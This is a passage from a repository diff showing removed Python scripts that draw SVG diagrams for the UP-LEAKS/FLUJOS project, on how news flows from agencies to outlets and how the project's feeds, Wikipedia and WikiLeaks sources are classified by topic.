f'Los workers no se llaman entre sí: cada uno marca su trabajo en el documento '
f'(`traducido`, `procesado_ner`, `procesado_embedding`) y el siguiente recoge lo pendiente.</text>')
a(f'<text x="{X1}" y="{Y3+40}" fill="{GRIS2}" font-size="12">'
f'Si uno cae, los demás siguen; al volver, retoma la cola donde estaba. No hay orquestador '
f'ni cola de mensajes: el estado vive en la base.</text>')
a(f'<text x="46" y="{H-20}" fill="{GRIS2}" font-size="11">'
f'upleaks.org — software libre — gitea.laenre.net/hacklab/FLUJOS</text>')
a('</svg>')
io.open(sys.argv[1], 'w', encoding='utf-8').write('\n'.join(o))
print("escrito", sys.argv[1], "| alto util:", Y3 + 40)

View file

@ -1,196 +0,0 @@
#!/usr/bin/env python3
# Genera el diagrama grande de flujos de informacion (UP-LEAKS).
import io, math, sys
W, H = 1500, 940
NEON, NEON2 = "#39ff14", "#7cff5a"
BG, PANEL = "#050505", "#0d0f0d"
GRIS, GRIS2 = "#8a938a", "#5a625a"
AMBAR = "#ffb020"
CIAN = "#3ad6ff"
AGENCIAS = [
("REUTERS", "Thomson Reuters — Reino Unido/Canadá"),
("AFP", "Agence France-Presse — Francia"),
("AP", "Associated Press — EE. UU."),
("EFE", "Agencia EFE — España"),
]
# Cabeceras generalistas: todas beben de los mismos teletipos
CABECERAS = [
"BBC", "The Guardian", "CNN", "El País", "Le Monde", "Der Spiegel",
"La Vanguardia", "The Times", "ABC", "Corriere", "El Mundo", "FAZ",
"NYT", "WaPo", "Sky News", "RTVE", "20minutos", "Antena 3",
"La Sexta", "Yahoo News", "MSN", "Google News",
]
# Prensa independiente: circuito corto, fuentes propias
INDEPENDIENTES = [
("Bellingcat", "OSINT"),
("The Intercept", "filtraciones"),
("Declassified UK", "FOIA"),
("Meduza", "exilio"),
("Amu TV / 8am", "exilio afgano"),
("Dabanga", "Sudán"),
("elDiario.es", "socios"),
("CTXT", "lectores"),
]
FUENTES_PROPIAS = [
"documentos filtrados", "peticiones FOIA", "reporteo sobre el terreno",
"archivos judiciales", "OSINT y satélite",
]
o = []
a = o.append
a(f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {W} {H}" width="{W}" height="{H}" '
f'font-family="DejaVu Sans Mono, Menlo, Consolas, monospace" role="img" '
f'aria-label="Diagrama de los flujos de informacion: de las agencias de noticias a la prensa generalista y la prensa independiente">')
a('<defs>')
a(f'<linearGradient id="cuello" x1="0" y1="0" x2="0" y2="1">'
f'<stop offset="0%" stop-color="{NEON}" stop-opacity="0.55"/>'
f'<stop offset="100%" stop-color="{NEON}" stop-opacity="0.06"/></linearGradient>')
a(f'<linearGradient id="indg" x1="0" y1="0" x2="0" y2="1">'
f'<stop offset="0%" stop-color="{CIAN}" stop-opacity="0.45"/>'
f'<stop offset="100%" stop-color="{CIAN}" stop-opacity="0.06"/></linearGradient>')
a(f'<marker id="fl" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto">'
f'<path d="M0,0 L7,3 L0,6 Z" fill="{NEON}" opacity="0.75"/></marker>')
a(f'<marker id="flc" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto">'
f'<path d="M0,0 L7,3 L0,6 Z" fill="{CIAN}" opacity="0.8"/></marker>')
a('</defs>')
a(f'<rect width="{W}" height="{H}" fill="{BG}"/>')
# ── titulo ────────────────────────────────────────────────────────────────
a(f'<text x="46" y="58" fill="{NEON}" font-size="30" font-weight="bold" letter-spacing="3">'
f'DE DÓNDE VIENE LA NOTICIA QUE ACABAS DE LEER</text>')
a(f'<text x="46" y="86" fill="{GRIS}" font-size="15">'
f'Cuatro agencias abastecen a casi toda la prensa del mundo. Lo que parece pluralidad '
f'suele ser el mismo teletipo repetido.</text>')
a(f'<line x1="46" y1="102" x2="{W-46}" y2="102" stroke="{NEON}" stroke-opacity="0.28"/>')
# ── capa 1: agencias ──────────────────────────────────────────────────────
y_ag, h_ag = 132, 78
ancho = 300
x0 = (W - (len(AGENCIAS) * ancho + (len(AGENCIAS) - 1) * 24)) / 2
a(f'<text x="46" y="{y_ag-12}" fill="{NEON2}" font-size="13" letter-spacing="2">'
f'ORIGEN — 4 AGENCIAS</text>')
centros_ag = []
for i, (nom, sub) in enumerate(AGENCIAS):
x = x0 + i * (ancho + 24)
a(f'<rect x="{x:.0f}" y="{y_ag}" width="{ancho}" height="{h_ag}" rx="4" '
f'fill="{PANEL}" stroke="{NEON}" stroke-width="1.6"/>')
a(f'<text x="{x+ancho/2:.0f}" y="{y_ag+34}" fill="{NEON}" font-size="23" font-weight="bold" '
f'text-anchor="middle">{nom}</text>')
a(f'<text x="{x+ancho/2:.0f}" y="{y_ag+58}" fill="{GRIS}" font-size="11.5" '
f'text-anchor="middle">{sub}</text>')
centros_ag.append(x + ancho / 2)
# ── cuello de botella ─────────────────────────────────────────────────────
y_c1, y_c2 = y_ag + h_ag, y_ag + h_ag + 92
cx = W / 2
a(f'<path d="M{x0-6:.0f},{y_c1} L{W-x0+6:.0f},{y_c1} L{cx+118:.0f},{y_c2} L{cx-118:.0f},{y_c2} Z" '
f'fill="url(#cuello)"/>')
for c in centros_ag:
a(f'<line x1="{c:.0f}" y1="{y_c1}" x2="{cx:.0f}" y2="{y_c2-6}" stroke="{NEON}" '
f'stroke-opacity="0.5" stroke-width="1.2" marker-end="url(#fl)"/>')
a(f'<text x="{cx:.0f}" y="{y_c2+26}" fill="{NEON}" font-size="15" font-weight="bold" '
f'text-anchor="middle" letter-spacing="1">EL MISMO TELETIPO</text>')
a(f'<text x="{cx:.0f}" y="{y_c2+46}" fill="{GRIS}" font-size="12" text-anchor="middle">'
f'un despacho, un ángulo, un titular</text>')
# ── capa 2: cabeceras generalistas ────────────────────────────────────────
y_ab = y_c2 + 104
_etq = 'REPLICACIÓN — CIENTOS DE CABECERAS, UNA SOLA FUENTE'
_lbl = [] # se pinta DESPUES del abanico, con fondo, para que no lo crucen lineas
cols, cw, ch, gap = 11, 118, 40, 10
gw = cols * cw + (cols - 1) * gap
gx = (W - gw) / 2
for i, nom in enumerate(CABECERAS):
r, c = divmod(i, cols)
x = gx + c * (cw + gap)
y = y_ab + 10 + r * (ch + gap)
a(f'<rect x="{x:.0f}" y="{y:.0f}" width="{cw}" height="{ch}" rx="3" fill="#101310" '
f'stroke="{GRIS2}" stroke-width="1"/>')
a(f'<text x="{x+cw/2:.0f}" y="{y+25:.0f}" fill="{GRIS}" font-size="12" '
f'text-anchor="middle">{nom}</text>')
if r == 0 and c in (0, 3, 7, 10):
a(f'<line x1="{cx:.0f}" y1="{y_c2+56}" x2="{x+cw/2:.0f}" y2="{y-3:.0f}" '
f'stroke="{NEON}" stroke-opacity="0.22" stroke-width="0.9"/>')
a(f'<rect x="40" y="{y_ab-30}" width="{len(_etq)*8.6:.0f}" height="26" fill="{BG}"/>')
a(f'<text x="46" y="{y_ab-11}" fill="{NEON2}" font-size="13" letter-spacing="2">{_etq}</text>')
filas = math.ceil(len(CABECERAS) / cols)
y_ab_fin = y_ab + 10 + filas * (ch + gap)
a(f'<text x="{cx:.0f}" y="{y_ab_fin+22:.0f}" fill="{GRIS2}" font-size="12" text-anchor="middle">'
f'… y varios miles más. Cambia el logotipo, no el contenido.</text>')
# ── separador ─────────────────────────────────────────────────────────────
y_sep = y_ab_fin + 46
a(f'<line x1="46" y1="{y_sep}" x2="{W-46}" y2="{y_sep}" stroke="{NEON}" '
f'stroke-opacity="0.22" stroke-dasharray="5 6"/>')
# ── capa 3: prensa independiente ──────────────────────────────────────────
y_in = y_sep + 34
a(f'<text x="46" y="{y_in}" fill="{CIAN}" font-size="13" letter-spacing="2">'
f'EL OTRO CIRCUITO — PRENSA INDEPENDIENTE</text>')
a(f'<text x="46" y="{y_in+20}" fill="{GRIS}" font-size="12.5">'
f'Menos cabeceras, pero cada una con fuente propia. No replican: producen.</text>')
fx, fy = 46, y_in + 42
a(f'<rect x="{fx}" y="{fy}" width="290" height="{len(FUENTES_PROPIAS)*24+28}" rx="4" '
f'fill="{PANEL}" stroke="{CIAN}" stroke-width="1.3" stroke-opacity="0.75"/>')
a(f'<text x="{fx+16}" y="{fy+22}" fill="{CIAN}" font-size="12" letter-spacing="1">FUENTES PROPIAS</text>')
for i, f in enumerate(FUENTES_PROPIAS):
a(f'<text x="{fx+16}" y="{fy+44+i*24}" fill="{GRIS}" font-size="12"> {f}</text>')
icw, ich, igap = 232, 52, 12
igx = fx + 330
for i, (nom, sub) in enumerate(INDEPENDIENTES):
r, c = divmod(i, 4)
x = igx + c * (icw + igap)
y = fy + r * (ich + igap)
a(f'<rect x="{x:.0f}" y="{y:.0f}" width="{icw}" height="{ich}" rx="3" fill="#0a1114" '
f'stroke="{CIAN}" stroke-width="1.1" stroke-opacity="0.6"/>')
a(f'<text x="{x+14:.0f}" y="{y+22:.0f}" fill="{CIAN}" font-size="13.5">{nom}</text>')
a(f'<text x="{x+14:.0f}" y="{y+39:.0f}" fill="{GRIS2}" font-size="11">{sub}</text>')
if c == 0:
a(f'<line x1="{fx+290}" y1="{fy+58:.0f}" x2="{x-4:.0f}" y2="{y+ich/2:.0f}" '
f'stroke="{CIAN}" stroke-opacity="0.45" stroke-width="1.2" marker-end="url(#flc)"/>')
y_in_fin = fy + 2 * (ich + igap)
# ── capa 4: up-leaks ──────────────────────────────────────────────────────
y_up = y_in_fin + 34
bw, bh = W - 92, 108
a(f'<rect x="46" y="{y_up}" width="{bw}" height="{bh}" rx="5" fill="{PANEL}" '
f'stroke="{NEON}" stroke-width="2"/>')
a(f'<text x="72" y="{y_up+38}" fill="{NEON}" font-size="25" font-weight="bold" '
f'letter-spacing="3">UP-LEAKS</text>')
a(f'<text x="72" y="{y_up+62}" fill="{GRIS}" font-size="12.5">'
f'Ingiere los dos circuitos y los cruza contra el archivo de WikiLeaks.</text>')
a(f'<text x="72" y="{y_up+82}" fill="{GRIS}" font-size="12.5">'
f'Donde una noticia y un documento filtrado hablan de lo mismo, aparece una arista.</text>')
for i, (etq, val) in enumerate([("236", "feeds"), ("36.182", "documentos"), ("115M", "aristas")]):
x = 940 + i * 172
a(f'<text x="{x}" y="{y_up+46}" fill="{NEON}" font-size="26" font-weight="bold">{etq}</text>')
a(f'<text x="{x}" y="{y_up+68}" fill="{GRIS2}" font-size="11.5" letter-spacing="1">{val}</text>')
# flechas de entrada
# generalista: baja por la derecha bordeando el bloque independiente
a(f'<path d="M{W-100},{y_ab_fin+30:.0f} L{W-100},{y_up-14}" fill="none" stroke="{NEON}" '
f'stroke-opacity="0.45" stroke-width="1.6" stroke-dasharray="4 4" marker-end="url(#fl)"/>')
a(f'<text x="{W-92}" y="{(y_ab_fin+y_up)/2:.0f}" fill="{GRIS2}" font-size="11">generalista</text>')
# independiente: sube desde el bloque cian
a(f'<path d="M{igx+120:.0f},{y_in_fin+4:.0f} L{igx+120:.0f},{y_up-14}" fill="none" stroke="{CIAN}" '
f'stroke-opacity="0.6" stroke-width="1.6" marker-end="url(#flc)"/>')
a(f'<text x="{igx+132:.0f}" y="{y_up-20:.0f}" fill="{GRIS2}" font-size="11">independiente</text>')
a(f'<text x="46" y="{H-20}" fill="{GRIS2}" font-size="11">'
f'upleaks.org — software libre — gitea.laenre.net/hacklab/FLUJOS</text>')
a('</svg>')
io.open(sys.argv[1], 'w', encoding='utf-8').write('\n'.join(o))
print("escrito", sys.argv[1], "| alto util:", y_up + bh)

View file

@ -1,188 +0,0 @@
#!/usr/bin/env python3
# Genera el diagrama de fuentes y clasificacion de UP-LEAKS.
import io, sys
W = 1500
NEON, NEON2 = "#39ff14", "#7cff5a"
BG, PANEL = "#050505", "#0d0f0d"
GRIS, GRIS2 = "#8a938a", "#5a625a"
CIAN, AMBAR, MAGENTA, ROJO = "#3ad6ff", "#ffb020", "#ff5ea8", "#ff4d4d"
# color por tema, el mismo de la web
TEMAS = [
("GLOB-WAR", "guerra global", "#ff3b3b", 49,
["Internacional", "Asia", "Oriente Medio", "Defensa", "Geopolítica",
"Afganistán", "Europa", "Conflictos", "Rusia", "Humanitario"]),
("INT-SEC", "inteligencia y seguridad", "#4a6bff", 19,
["Ciberseguridad", "Análisis", "Defensa", "Inteligencia",
"Internacional", "Europa", "España", "EEUU"]),
("CLIMATE", "cambio climático", "#5fe36a", 120,
["Internacional", "EEUU", "Ciencia", "Biodiversidad", "Energía",
"Asia", "Tecnología", "ONG", "Salud", "España"]),
("ECO-CORP", "economía y corporaciones", "#ffe600", 24,
["Internacional", "Tecnología", "EEUU", "España",
"Gestión", "Corporaciones", "Comercio"]),
("POPL-UP", "demografía y sociedad", "#ff9b30", 24,
["España", "Internacional", "EEUU", "Salud", "Derechos Humanos",
"Política", "Migración", "Europa", "Reino Unido"]),
]
FUENTES = [
("236 feeds RSS", CIAN, ["prensa de 5 idiomas", "agencias y cabeceras",
"medios locales y de exilio"]),
("API de Wikipedia", CIAN, ["28.266 artículos", "por tema y palabra clave",
"el contexto histórico"]),
("WikiLeaks", CIAN, ["36.182 documentos", "archivo completo por torrent",
"cables, correos, informes"]),
("Imágenes", CIAN, ["og:image de cada artículo", "fotos de Wikipedia",
"descritas con Qwen3-VL"]),
]
FILTROS = [
("tema", "la vista que eliges: GLOB-WAR, INT-SEC…"),
("subtema", "desplegable, hereda del feed"),
("fecha", "Semanal (7 días) o Todas"),
("palabra clave","busca dentro del texto"),
("nodos", "cuántos traer, hasta 500"),
("% similitud", "umbral mínimo para dibujar una arista"),
("país / región","solo en coconews"),
("entidad", "persona u organización, vía NER"),
]
o = []
a = o.append
def caja(x, y, w, h, color, ancho=1.5, relleno=PANEL, op=1.0):
a(f'<rect x="{x:.0f}" y="{y:.0f}" width="{w:.0f}" height="{h:.0f}" rx="4" fill="{relleno}" '
f'stroke="{color}" stroke-width="{ancho}" stroke-opacity="{op}"/>')
def txt(x, y, s, color=GRIS, size=12, anchor="start", peso="normal", ls=0):
a(f'<text x="{x:.0f}" y="{y:.0f}" fill="{color}" font-size="{size}" '
f'text-anchor="{anchor}" font-weight="{peso}" letter-spacing="{ls}">{s}</text>')
# ── cabecera ──────────────────────────────────────────────────────────────
cuerpo = []
a_real = a
o_head = []
Y = 130
# FUENTES
fw, fgap = 340, 26
fx0 = (W - (4 * fw + 3 * fgap)) / 2
fh = 118
# CLASIFICACION
Y2 = Y + fh + 96
h_clas = 128
# TEMAS
Y3 = Y2 + h_clas + 86
tw, tgap = 276, 20
tx0 = (W - (5 * tw + 4 * tgap)) / 2
th = 44 + 10 * 20 + 16
# FILTROS
Y4 = Y3 + th + 108
h_filt = 44 + 4 * 30 + 16
H = Y4 + h_filt + 54
a(f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {W} {H}" width="{W}" height="{H}" '
f'font-family="DejaVu Sans Mono, Menlo, Consolas, monospace" role="img" '
f'aria-label="De donde salen los datos de UP-LEAKS y como se clasifican en temas, subtemas y filtros">')
a('<defs>')
for nom, col in (("f1", CIAN), ("f2", NEON), ("f3", MAGENTA)):
a(f'<marker id="{nom}" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto">'
f'<path d="M0,0 L7,3 L0,6 Z" fill="{col}" opacity="0.85"/></marker>')
a('</defs>')
a(f'<rect width="{W}" height="{H}" fill="{BG}"/>')
txt(46, 54, 'DE DÓNDE SALEN LOS DATOS', NEON, 27, peso="bold", ls=3)
txt(46, 80, 'Cuatro fuentes, una etiqueta que viaja con cada documento, y los filtros que salen de ahí.', GRIS, 14)
a(f'<line x1="46" y1="96" x2="{W-46}" y2="96" stroke="{NEON}" stroke-opacity="0.28"/>')
# ── 1. FUENTES ────────────────────────────────────────────────────────────
txt(46, Y - 12, '1 · LO QUE ENTRA', CIAN, 13, ls=2)
centros = []
for i, (nom, col, lineas) in enumerate(FUENTES):
x = fx0 + i * (fw + fgap)
caja(x, Y, fw, fh, col, 1.5, PANEL, 0.85)
txt(x + 18, Y + 30, nom, col, 16, peso="bold")
for j, l in enumerate(lineas):
txt(x + 18, Y + 56 + j * 20, ' ' + l, GRIS, 11.5)
centros.append(x + fw / 2)
# ── 2. LA ETIQUETA ────────────────────────────────────────────────────────
cx = W / 2
for c in centros:
a(f'<line x1="{c:.0f}" y1="{Y+fh+4}" x2="{cx:.0f}" y2="{Y2-10}" stroke="{CIAN}" '
f'stroke-opacity="0.35" stroke-width="1.1" marker-end="url(#f1)"/>')
caja(46, Y2, W - 92, h_clas, NEON, 1.8)
txt(64, Y2 + 28, '2 · LA ETIQUETA NO SE CALCULA: VIAJA CON LA FUENTE', NEON, 13, ls=2)
txt(64, Y2 + 56,
'Cada feed del catálogo lleva escrito su tema y su subtema. Al ingerir un artículo, el artículo los hereda.', GRIS, 12.5)
txt(64, Y2 + 76,
'No hay clasificador automático: la decisión es editorial y está en el catálogo, no en el texto.', GRIS, 12.5)
txt(64, Y2 + 104,
'Es simple y es auditable — se ve de un vistazo por qué un artículo está donde está — pero tiene un coste: si un', GRIS2, 11.5)
txt(64, Y2 + 120,
'medio de clima publica sobre geopolítica, ese artículo entra igualmente como clima.', GRIS2, 11.5)
# tarjeta de ejemplo, a la derecha del bloque
ex_x, ex_w = W - 500, 436
caja(ex_x, Y2 + 16, ex_w, 96, AMBAR, 1.2, "#12100a", 0.8)
txt(ex_x + 16, Y2 + 38, 'coconews_feeds', AMBAR, 11.5, ls=1)
for j, (k, v) in enumerate([('nombre', '"Ariana News Dari"'),
('tema', '"guerra global"'),
('subtema', '"Afganistán"')]):
txt(ex_x + 16, Y2 + 60 + j * 18, k, GRIS2, 11.5)
txt(ex_x + 110, Y2 + 60 + j * 18, v, NEON2 if k != 'nombre' else GRIS, 11.5)
# ── 3. TEMAS Y SUBTEMAS ───────────────────────────────────────────────────
_e3 = '3 · CINCO TEMAS, Y LOS SUBTEMAS QUE EXISTEN DE VERDAD'
for i, (etq, tema, col, nfeeds, subs) in enumerate(TEMAS):
x = tx0 + i * (tw + tgap)
caja(x, Y3, tw, th, col, 1.6, PANEL, 0.9)
a(f'<rect x="{x:.0f}" y="{Y3:.0f}" width="{tw}" height="30" rx="4" fill="{col}" fill-opacity="0.16"/>')
txt(x + 14, Y3 + 21, etq, col, 14, peso="bold", ls=1)
txt(x + tw - 14, Y3 + 21, f'{nfeeds} feeds', GRIS2, 11, anchor="end")
txt(x + 14, Y3 + 44, tema, GRIS2, 10.5)
for j, s in enumerate(subs[:10]):
txt(x + 14, Y3 + 66 + j * 20, '· ' + s, GRIS, 11.5)
a(f'<line x1="{cx:.0f}" y1="{Y2+h_clas+4}" x2="{x+tw/2:.0f}" y2="{Y3-4}" '
f'stroke="{NEON}" stroke-opacity="0.28" stroke-width="1.1" marker-end="url(#f2)"/>')
a(f'<rect x="40" y="{Y3-30}" width="{len(_e3)*8.7:.0f}" height="26" fill="{BG}"/>')
txt(46, Y3 - 11, _e3, NEON2, 13, ls=2)
txt(46, Y3 + th + 24,
'Los subtemas son geográficos y de sección, no conceptuales. No hay un subtema "energía renovable": hay "Energía", que es lo que',
GRIS2, 11.5)
txt(46, Y3 + th + 40,
'trae el catálogo. El menú de la web todavía ofrece algunos que no existen en la base y por eso filtran a cero.',
GRIS2, 11.5)
# ── 4. FILTROS ────────────────────────────────────────────────────────────
caja(46, Y4, W - 92, h_filt, MAGENTA, 1.5)
_e4 = '4 · LO QUE PUEDES FILTRAR'
a(f'<rect x="40" y="{Y4-30}" width="{len(_e4)*8.7:.0f}" height="26" fill="{BG}"/>')
txt(46, Y4 - 11, _e4, MAGENTA, 13, ls=2)
for i, (nom, desc) in enumerate(FILTROS):
col_i, fila = divmod(i, 4)
x = 70 + col_i * ((W - 140) / 2)
y = Y4 + 40 + fila * 30
txt(x, y, nom, MAGENTA, 12.5)
txt(x + 150, y, desc, GRIS, 12)
a(f'<line x1="{cx:.0f}" y1="{Y3+th+58}" x2="{cx:.0f}" y2="{Y4-8}" stroke="{MAGENTA}" '
f'stroke-width="1.5" stroke-opacity="0.5" marker-end="url(#f3)"/>')
txt(46, H - 22, 'upleaks.org — software libre — gitea.laenre.net/hacklab/FLUJOS', GRIS2, 11)
a('</svg>')
io.open(sys.argv[1], 'w', encoding='utf-8').write('\n'.join(o))
print("escrito", sys.argv[1], "| alto:", H)

Some files were not shown because too many files have changed in this diff Show more